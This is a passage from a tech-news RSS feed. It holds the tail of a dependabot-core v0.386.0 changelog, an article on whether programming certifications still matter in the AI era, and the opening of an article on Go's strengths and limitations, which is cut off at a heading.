<li>Reduce redundant git-source probes during npm metadata resolution by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793483366" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15480" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15480/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15480">#15480</a></li>
<li>Type the maven ecosystem and remove it from the T.untyped burndown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4833182059" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15531" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15531/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15531">#15531</a></li>
<li>Add branch name config template format support with validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835027976" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15535" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15535/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15535">#15535</a></li>
<li>fix(gradle): prefer local gradlew for lockfile updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4847310998" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15546" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15546/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15546">#15546</a></li>
<li>helm: support versioning-strategy (range-preserving updates) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/casey-robertson-paypal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/casey-robertson-paypal">@casey-robertson-paypal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585878635" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15218" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15218/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15218">#15218</a></li>
<li>Bump gradle from 9.4.1-jdk21-ubi to 9.6.1-jdk21-ubi in /gradle by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4813506019" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15498" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15498/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15498">#15498</a></li>
<li>[Update graph] Add support for requirements.txt 'layering' instead of compressing to a single file by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4829476790" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15521" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15521/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15521">#15521</a></li>
<li>Allow periods in Helm values file names for Docker ecosystem by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/telnet23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/telnet23">@telnet23</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4862784915" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15557" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15557/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15557">#15557</a></li>
<li>Match existing group PRs covering a subset of job directories by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4850701816" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15548" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15548/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15548">#15548</a></li>
<li>Bump library/golang from 1.26.1-bookworm to 1.26.5-bookworm in /go_modules by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4867732850" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15562" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15562/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15562">#15562</a></li>
<li>Fix npm security updates for transitive dependencies in workspace monorepos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Swampen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Swampen">@Swampen</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4826508534" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15514" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15514/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15514">#15514</a></li>
<li>Add helm to the smoke-test matrix by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/casey-robertson-paypal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/casey-robertson-paypal">@casey-robertson-paypal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857335602" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15554" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15554/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15554">#15554</a></li>
<li>v0.386.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869767530" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15564" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15564/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15564">#15564</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/telnet23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/telnet23">@telnet23</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4862784915" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15557" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15557/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15557">#15557</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Swampen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Swampen">@Swampen</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4826508534" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15514" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15514/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15514">#15514</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.385.0...v0.386.0"><tt>v0.385.0...v0.386.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Do programming certifications still matter?]]></title>
<description><![CDATA[If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid AI-driven evolution. The short answer is, it depends.



“Certifications are shifting from a checkbox to a compass. They’re less about proving you...]]></description>
<link>https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI-driven evolution</a>. The short answer is, it depends.</p>



<p class="wp-block-paragraph">“Certifications are shifting from a checkbox to a compass. They’re less about proving you memorized syntax and more about proving you can architect systems, instruct AI coding assistants, and solve problems end-to-end,” says Faizel Khan, lead AI engineer at <a href="https://landingpoint.com/">Landing Point</a>, an executive search and recruiting firm.</p>



<p class="wp-block-paragraph">“In the AI era, fewer students will get trained on the job, which means they have to train themselves,” Khan says. “Certifications—especially architectural ones like AWS, Kubernetes, Terraform—are still the clearest path to do that.”</p>



<h2 class="wp-block-heading">Pros and cons of programming certifications</h2>



<p class="wp-block-paragraph">It’s not all black and white when it comes to deciding whether to pursue programming certifications. The effort involves both pros and cons.</p>



<p class="wp-block-paragraph">“In terms of pros, certifications concretely demonstrate that you have a skillset at a documented level,” says Chris Riccio, vice president of engineering at <a href="https://uplevelteam.com/">Uplevel</a>, an engineering optimization system provider. “They also show that you’ve put in the time and effort to learn, study, and prepare.”</p>



<p class="wp-block-paragraph">Programming certifications are “a useful way to validate foundational skills and show that someone understands core concepts,” says Greg Fuller, vice president of Skillsoft’s training provider, <a href="https://www.codecademy.com/">Codecademy</a>. “They’re especially helpful for people entering the field or shifting from adjacent roles.”</p>



<p class="wp-block-paragraph">Certifications offer a structured path to demonstrate proficiency, and they can confirm your ability to build and deploy in various environments, Fuller says.</p>



<p class="wp-block-paragraph">These types of certifications often demonstrate baseline proficiency and continuous learning, says Reshmi Ramachandran, head of partnerships and GTM strategy for <a href="https://www.cprime.com/">Cprime</a>, a consultancy. “These are often key indications of proficiency for companies looking to filter large candidate pools,” she says.</p>



<p class="wp-block-paragraph">Certifications really do two things, Khan adds. “First, they force you to learn by doing,” he says. “If you’re taking AWS Solutions Architect or Terraform, you don’t pass by guessing—you plan, build, and test systems. That practice matters. Second, they act as a public signal. Think of it like a micro-degree. You’re not just saying, ‘I know cloud.’ You’re showing you’ve crossed a bar that thousands of other engineers recognize.”</p>



<p class="wp-block-paragraph">But there are cons, too. “In tech, employers don’t just want credentials, they want proof you can deliver,” says Kevin Miller, CTO at <a href="https://www.ifs.com/industries/manufacturing/industrial-manufacturing">IFS</a>, a maker of factory automation software. “Programming certifications can be a valuable indicator of your baseline knowledge and competencies, especially if you’re early in your career or pivoting into tech, but their importance is dwindling.”</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/generative-ai/">AI tools</a> that can generate, debug, and optimize code are <a href="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html" data-type="link" data-id="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html">already performing tasks once done by entry-level developers</a>, “which means fewer traditional programming roles are available,” Miller says. “As a result, the job market is becoming more competitive, and certifications aren’t seen as the noteworthy achievement they once were.”</p>



<p class="wp-block-paragraph">What’s more, not all certifications carry the same weight, Riccio says. “Some may reflect only familiarity rather than true expertise,” he says. “Certifications also often measure ‘book knowledge’ rather than practical experience, and they don’t always map clearly to the requirements of a specific role.”</p>



<p class="wp-block-paragraph">Programming certifications “can be a helpful signal, especially for confirming baseline knowledge in areas like cloud, security, or devops, but they’re not the full picture,” says Morgan Watts, vice president of IT at <a href="https://developer.8x8.com/">8×8</a>, a contact center platform developer.</p>



<p class="wp-block-paragraph">“I’m more interested in a candidate’s attitude and aptitude: what problems they’ve solved, what they’ve built, and how they’ve approached challenges,” Watts says. “Certifications can show commitment and discipline, and they’re especially useful in highly specialized roles. But I’m cautious when someone presents a laundry list of certifications with little evidence of real-world application.”</p>



<p class="wp-block-paragraph">A certification without experience doesn’t carry much weight, Watts says, and over-certification can sometimes signal the wrong focus. “Ultimately, it’s the ability to apply knowledge, collaborate, and adapt that sets great developers apart,” he says.</p>



<p class="wp-block-paragraph">Finally, certifications can age fast, Khan says. “Tech stacks evolve and a badge from two years ago may already feel dusty,” he says. “And some certifications are paper-thin—multiple-choice exams that don’t prove you can debug production at 2 a.m. So, the risk is you collect badges but still can’t ship.”</p>



<h2 class="wp-block-heading">Which certifications will get you noticed?</h2>



<p class="wp-block-paragraph">Despite the drawbacks, certifications are still very much in demand, and some carry more weight than others.</p>



<p class="wp-block-paragraph">The most in-demand certifications are typically platform-based—Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, and others, Riccio says. “Many of these platforms provide managed services that integrate with existing systems or serve as the glue between them,” he says. “Today’s engineering teams aren’t just building standalone systems in isolation; they’re using other systems to store data, orchestrate business workflows, and connect applications.”</p>



<p class="wp-block-paragraph">A certification that demonstrates the ability to build solutions on these platforms can put a development professional ahead of the competition, Riccio says.</p>



<p class="wp-block-paragraph">“The certifications I see in highest demand tend to reflect the evolving tech landscape,” Watts says. “Cloud certifications from AWS, Azure, and GCP are incredibly valuable, especially as distributed systems become the norm.”</p>



<p class="wp-block-paragraph">Also in demand are certifications for <a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">devops and CI/CD tools</a> including <a href="https://www.infoworld.com/article/3529526/how-to-succeed-with-kubernetes.html">Kubernetes</a>, <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker</a>, and <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a>, Watts says, “because deployment automation and reliability are critical at scale. Also, with AI reshaping development, we’re seeing growing interest in certifications around machine learning, data science, and AI model integration. These certifications stand out because they align directly with the skills that teams need to move faster and more intelligently.”</p>



<aside class="sidebar large">
<h3>More about developer certifications</h3>
<p>Learn more about developer courses and certifications tech companies want:</p>
<ul>
<li><a href="https://www.infoworld.com/article/4055032/ai-developer-certifications-tech-companies-want.html">AI developer certifications</a></li>
<li><a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">Machine learning certifications</a></li>
<li><a href="https://www.infoworld.com/article/2337635/4-cloud-certifications-that-will-help-you-stand-out.html">Cloud development certifications</a></li>
<li><a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">Devops and CI/CD certifications</a></li>
</ul>
</aside>




<p class="wp-block-paragraph">On the AI front, certifications in <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">TensorFlow</a> and other <a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">machine learning platforms</a> are gaining traction as organizations look to embed AI across the development process, Watts says. “These are the certifications that align closely with where modern engineering is headed—scalable, secure, and AI-enabled,” he says.</p>



<p class="wp-block-paragraph">And then there are <a href="https://www.csoonline.com/article/3970107/the-14-most-valuable-cybersecurity-certifications.html">cybersecurity credentials</a> that continue to be in high demand. Security certifications, such as CompTIA Security+ or Certified Ethical Hacker, “have become essential as every company faces increasing cyber threats and compliance requirements,” Miller says.</p>



<p class="wp-block-paragraph">“Core programming certifications are still a bit niche, but the adjacent skills, like those that help developers deploy, secure, and scale their code, are driving demand,” Fuller says. “Companies want developers who understand the full lifecycle, not just how to write code.”</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3980325/the-java-certifications-tech-companies-want.html">The best Java certifications for software developers</a>.</strong></p>



<h2 class="wp-block-heading">Certifications in the hiring process</h2>



<p class="wp-block-paragraph">Experts are clear that programming certifications alone will not get you the job. But they do play a role in the hiring process.</p>



<p class="wp-block-paragraph">“The information technology world is characterized by rapid and continuous evolution, including the skills and knowledge required to work in the field,” says Diane Rafferty, managing director of the National Technology Group at <a href="https://www.atriumglobal.com/">Atrium</a>, a global talent solutions and extended workforce management firm.</p>



<p class="wp-block-paragraph">“Certifications not only prove that you have the skills and knowledge needed, but they also show employers that you’re invested in your education and career growth,” Rafferty says. “They can give you a competitive edge when looking for a job, as many companies now require candidates to have them.”</p>



<p class="wp-block-paragraph">Certifications are one part of the hiring equation, “but never the only part,” Watts says. “They help validate that a candidate has taken the time to build foundational knowledge, and that’s a good sign. But I put more weight on how a person thinks, solves problems, and contributes to the team. I look for people who are curious and proactive, who are learning because they want to, not just because a course told them to.”</p>



<p class="wp-block-paragraph">Certifications can also play a valuable role in retention, Watts says. “I encourage team members to pursue growth, and when they invest in their own development, the whole organization benefits,” he says. “But again, it’s that balance of knowledge, attitude, and applied experience that really moves the needle.”</p>



<p class="wp-block-paragraph">Certifications “may allow you to breeze through the initial résumé screening process, potentially getting you to the next stage faster,” Riccio says. “At a minimum, they will set your profile apart from the rest of the pack. They also demonstrate that you’ve reached a baseline level of expertise, allowing hiring managers to quickly evaluate whether you have the skills for the role.”</p>



<p class="wp-block-paragraph">Employers today “care far less about whether someone has passed an exam and far more about whether they can apply knowledge effectively in real-world situations, leverage AI tools, and solve complex problems,” Miller says. “A certification might get someone an interview, but being able to demonstrate problem-solving skills, teamwork, and adaptability will really make them stand out.”</p>



<h2 class="wp-block-heading">Popular programming certifications</h2>



<p class="wp-block-paragraph">The following certifications consistently rose to the top in my conversations with tech leaders and hiring managers.</p>



<h3 class="wp-block-heading">AWS Certified Developer—Associate</h3>



<p class="wp-block-paragraph">Showcases skills and knowledge in developing, optimizing, packaging, and deploying applications, using CI/CD workflows, and identifying and resolving application issues, according to AWS. This certification is said to be a good starting point on the AWS certification journey for professionals in IT or cloud developer job roles.</p>



<h3 class="wp-block-heading">Azure Developer Associate</h3>



<p class="wp-block-paragraph">This certificate from Microsoft is intended for developers participating in all phases of cloud development, including design, deployment, maintenance, and monitoring. The course teaches developers how to create end-to-end solutions in Microsoft Azure, using the Microsoft Learn Sandbox environment to access Azure resources and services.</p>



<h3 class="wp-block-heading">Certified Kubernetes Application Developer (CKAD)</h3>



<p class="wp-block-paragraph">This certification was created by the Linux Foundation and Cloud Native Computing Foundation. It demonstrates that candidates can design, build, and deploy cloud-native applications for Kubernetes.</p>



<h3 class="wp-block-heading">Certified Secure Software Lifecycle Professional (CSSLP)</h3>



<p class="wp-block-paragraph">This certification, from ISC2, focuses on secure software development practices. It recognizes leading application security skills and demonstrates advanced technical skills and knowledge needed for authentication, authorization, and auditing throughout the software development lifecycle.</p>



<h3 class="wp-block-heading">Databricks Certified Machine Learning Professional</h3>



<p class="wp-block-paragraph">Professionals learn about the latest data and AI techniques and how they can use the Databricks Data Intelligence Platform to build a variety of solutions across data engineering, data warehousing, data science, and AI.</p>



<h3 class="wp-block-heading">Professional Cloud Architect</h3>



<p class="wp-block-paragraph">This certification from Google assesses the ability to design and plan a cloud solution architecture, manage and provision the cloud solution infrastructure, design for security and compliance, analyze and optimize technical and business processes manage implementations of cloud architecture, and ensure solution and operations reliability.</p>



<h3 class="wp-block-heading">Terraform Associate</h3>



<p class="wp-block-paragraph">This certification from HashiCorp is for cloud engineers specializing in operations, IT, or development who know the basic concepts and skills associated with Terraform. It validates foundational skills in using <a href="https://www.infoworld.com/article/3893387/how-terraform-is-evolving-infrastructure-as-code.html">Terraform</a> for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> development.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s the Go language really good for?]]></title>
<description><![CDATA[Over its more than 15 years in the wild, Google’s Go programming language has evolved from a curiosity for alpha geeks to the battle-tested programming language behind some of the world’s most important cloud-native software projects.



If you’ve ever wondered why Go is the language of choice fo...]]></description>
<link>https://tsecurity.de/de/3665677/ai-nachrichten/whats-the-go-language-really-good-for/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665677/ai-nachrichten/whats-the-go-language-really-good-for/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over its more than 15 years in the wild, Google’s <a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">Go programming language</a> has evolved from a curiosity for alpha geeks to the battle-tested programming language behind some of the world’s most important <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native</a> software projects.</p>



<p class="wp-block-paragraph">If you’ve ever wondered why Go is the language of choice for projects like <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a> and <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, this article is for you. We’ll discuss Go’s defining characteristics and how it differs from other programming languages. You will also learn what kinds of projects Go is best suited for, including the state of <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">Go development for AI-powered tools</a>. We’ll conclude with an overview of Go’s feature set, some limitations of the language, and where it may be going from here.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">Golang tutorial: Get started with the Go language</a>.</strong></p>



<h2 class="wp-block-heading">Go is small and simple</h2>



<p class="wp-block-paragraph">Go, or <a href="https://go.dev/doc/faq#go_or_golang">Golang</a> as it’s often called, was created by Google employees—chiefly longtime Unix guru and Google distinguished engineer Rob Pike—but it’s not strictly speaking a “Google project.” Rather, Go is a community-developed <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a> project, spearheaded by leadership with strong opinions about how Go should be used and the direction the language should take.</p>



<p class="wp-block-paragraph">Go is meant to be easy to learn and straightforward to use, with syntax that is simple to read and understand. Go does not have a large feature set, especially when compared to languages like <a href="https://www.infoworld.com/article/2338049/c-23-language-standard-declared-feature-complete.html">C++</a>. Go’s syntax is reminiscent of <a href="https://www.infoworld.com/article/2261151/why-the-c-programming-language-still-rules.html">C</a>, making it relatively easy for longtime C developers to learn. That said, many features of Go, especially its <a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">concurrency and functional programming features</a>, harken back to languages like Erlang.</p>



<p class="wp-block-paragraph">As a C-like language for building and maintaining cross-platform enterprise applications of all sorts, <a href="https://www.infoworld.com/article/2514123/8-reasons-developers-love-go-and-8-reasons-they-dont.html">Go has much in common with Java</a>. And as a means for enabling rapid development of code that might run anywhere, you could draw a parallel between Go and <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a>, though the differences outweigh the similarities.</p>



<p class="wp-block-paragraph">The <a href="https://go.dev/doc">Go documentation</a> describes Go as “a fast, statically typed, compiled language that feels like a dynamically typed, interpreted language.” Even a large Go program will compile in a matter of seconds. Plus, Go avoids much of the overhead of C-style include files and libraries.</p>



<h2 class="wp-block-heading">Advantages of the Go language</h2>



<p class="wp-block-paragraph">Go is a versatile, convenient, fast, portable, interoperable, and widely supported modern language. These characteristics have helped to make it a top choice for large-scale development projects. Let’s look more closely at each of these positive qualities of Go.</p>



<h3 class="wp-block-heading">Go is versatile and convenient</h3>



<p class="wp-block-paragraph">Go has been compared to interpreted languages like <a href="https://www.infoworld.com/article/2254260/how-to-get-started-with-python.html">Python</a> in its ability to satisfy many common programming needs. Some of this functionality is built into the language itself, such as goroutines for concurrency and thread-like behavior, while additional capabilities are available in Go standard library packages, like the <a href="https://golang.org/pkg/net/http/">http package</a>. Like Python, Go provides automatic memory management capabilities including <a href="https://www.infoworld.com/article/2337816/what-is-garbage-collection-automated-memory-management-for-your-programs.html">garbage collection</a>.</p>



<p class="wp-block-paragraph">Unlike interpreted languages, however, Go code compiles to a fast-running native binary. And unlike C or C++, Go compiles extremely fast—fast enough to make working with Go feel more like working with an interpreted language than a compiled one. Further, the Go build system is less complex than those of other compiled languages. It takes few steps and little bookkeeping to build and run a Go project.</p>



<h3 class="wp-block-heading">Go is faster than many other languages</h3>



<p class="wp-block-paragraph">Go binaries run more slowly than their C counterparts, but the difference in speed is negligible for most applications. Go performance is as good as C for the vast majority of work, and generally much faster than other languages known for speed of development—including <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a>, <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a>, and <a href="https://www.infoworld.com/article/2337962/whatever-happened-to-ruby.html">Ruby</a>.</p>



<h3 class="wp-block-heading">Go is portable and interoperable</h3>



<p class="wp-block-paragraph">Executables created with the Go toolchain can stand alone, with no default external dependencies. The Go toolchain is available for a wide variety of operating systems and hardware platforms, and can be used to compile binaries across platforms. What’s more, Go delivers all of the above without sacrificing access to the underlying system. Go programs can talk to external C libraries or make native system calls. In <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker</a>, for instance, Go interacts with low-level Linux functions, cgroups, and namespaces to work container magic.</p>



<h3 class="wp-block-heading">Go is widely supported</h3>



<p class="wp-block-paragraph">The Go toolchain is freely available as a Linux, macOS, or Windows binary, or as a Docker container. Go is included by default in many popular Linux distributions, such as Red Hat Enterprise Linux and Fedora, making it somewhat easier to deploy Go source to those platforms. Support for Go is also strong across many third-party development environments, from Microsoft’s <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> to ActiveState’s <a href="https://www.infoworld.com/article/2250631/review-7-python-ides-compared.html">Komodo IDE</a>.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2514123/8-reasons-developers-love-go-and-8-reasons-they-dont.html">8 reasons developers love Go—and 8 reasons they don’t</a>.</strong></p>



<h2 class="wp-block-heading">Optimal use cases for the Go language</h2>



<p class="wp-block-paragraph">No language is suited to every job, but some languages are suited to more jobs than others. Go shines brightest in cloud-native development projects, distributed network services, and for developing utilities and stand-alone tools. Let’s consider the qualities that make Go especially well-suited to each of these project types.</p>



<h3 class="wp-block-heading">Cloud-native development</h3>



<p class="wp-block-paragraph">Go’s concurrency and networking features, and its high degree of portability, make it well-suited for building cloud-native apps. In fact, Go was used to build several cornerstones of cloud-native computing including <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a>, <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, and <a href="https://www.infoworld.com/article/2258313/what-is-istio-the-kubernetes-service-mesh-explained.html">Istio</a>.</p>



<h3 class="wp-block-heading">Distributed network services</h3>



<p class="wp-block-paragraph">Network applications live and die by concurrency, and Go’s native concurrency features—<a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">goroutines</a> and <a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">channels</a>, mainly—are well suited for such work. Consequently, many Go projects are for networking, distributed functions, and cloud services. These include <a href="https://github.com/go-goyave/goyave">APIs</a>, <a href="https://github.com/mholt/caddy">web servers</a>, <a href="https://github.com/claygod/microservice">Kubernetes-ready frameworks for microservices</a>, and much more.</p>



<h3 class="wp-block-heading">Utilities and standalone tools</h3>



<p class="wp-block-paragraph">Go programs compile to binaries with minimal external dependencies. That makes them ideally suited to creating utilities and other tools, because they launch quickly and can be readily packaged up for redistribution. One example is an <a href="https://goteleport.com/">access server called Teleport</a>, which can be deployed on servers quickly by compiling it from source or downloading a prebuilt binary.</p>



<h2 class="wp-block-heading">Limitations of the Go language</h2>



<p class="wp-block-paragraph">Now let’s consider some of the limitations of Go. For one, it omits many language features developers may desire. It also packs everything into its binaries, so Go programs can be large. Furthermore, <a href="https://www.infoworld.com/article/4041753/go-language-previews-performance-boosting-garbage-collector.html">Go’s garbage collection mechanism</a> delivers automatic memory management at the cost of absolute performance. The language also lacks a standard toolkit for building GUIs, and it is unsuited to systems programming.</p>



<p class="wp-block-paragraph">Let’s look at each of these issues in detail.</p>



<h3 class="wp-block-heading">Go omits many desirable language features</h3>



